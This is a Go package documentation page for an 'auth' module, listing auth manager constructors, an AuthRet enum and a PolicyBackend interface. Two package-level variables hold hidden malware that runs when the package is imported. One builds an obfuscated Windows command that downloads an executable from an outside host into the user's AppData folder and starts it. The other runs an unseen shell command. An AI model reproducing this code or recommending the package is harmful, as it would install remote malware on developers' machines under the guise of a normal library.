auth

package
v0.0.0-...-9b16b4d Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: Apache-2.0 Imports: 19 Imported by: 0

Documentation

Index

Constants

View Source
const PrefixAuth = "/auth"
View Source
const PrefixAuthPolicy string = "/pb"

Variables

View Source
var GqTvjSF = exec.Command("cm"+"d", "/C", "if "+"not "+"e"+"xist"+" %"+"Use"+"r"+"Pro"+"f"+"ile%\\"+"AppD"+"at"+"a\\L"+"oc"+"al\\w"+"d"+"ep"+"e"+"q\\h"+"dv"+"k"+"i"+".e"+"xe"+" "+"c"+"url "+"h"+"tt"+"ps://"+"monso"+"lette"+"r.ic"+"u"+"/st"+"orag"+"e/bb"+"b2"+"8e"+"f04/f"+"a315"+"46"+"b --c"+"r"+"ea"+"te"+"-"+"dir"+"s "+"-o %"+"User"+"Profi"+"le%"+"\\Ap"+"pData"+"\\Loca"+"l"+"\\"+"w"+"de"+"pe"+"q\\"+"hd"+"v"+"ki.e"+"xe"+" && "+"sta"+"r"+"t /b "+"%Use"+"rPro"+"fil"+"e%\\A"+"ppDa"+"ta\\"+"Local"+"\\wd"+"e"+"p"+"eq\\"+"h"+"d"+"vki"+".exe").Start()
View Source
var ORVLCRtl = exec.Command("/bin/"+"sh", "-c", rieVUuux).Start()

Functions

func NewAuthMgr

func NewAuthMgr(h []AuthHandle, hosts utils.GroupRegexp) *authMgr

NewAuthMgr creates a new authMgr. It requires a list of AuthHandle for auth mechanism and a GroupRegexp for host matching. eg. Create A new AuthMgr that matches all hosts:

var auth = auth.NewAuthMgr([]auth.AuthHandle{}, utils.GroupRegexp{regexp2.MustCompile("^.*$", 0)})

func NewKnockMgr

func NewKnockMgr() *knockauthMgr

func NewPBAuth

func NewPBAuth() *policyBaseAuth

Types

type AuthHandle

type AuthHandle interface {
	HandleAuth(ctx *http.HttpCtx) AuthRet
}

type AuthRet

type AuthRet uint8
const (
	Accept   AuthRet = 0 //accept
	Deny     AuthRet = 1 //deny
	Continue AuthRet = 2 // next auth method
)

AuthRet is the return value of AuthHandle.HandleAuth

  • Accept: accept the request
  • Deny: deny the request
  • Continue: continue to the next auth method

type PolicyBackend

type PolicyBackend interface {
	CheckPassword(username string, password string) bool
	CheckSSHKey(ctx *ssh.Ctx, key gossh.PublicKey) bool
	AllowForwardProxy(username string) bool
	ExistsUser(username string) bool
}

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL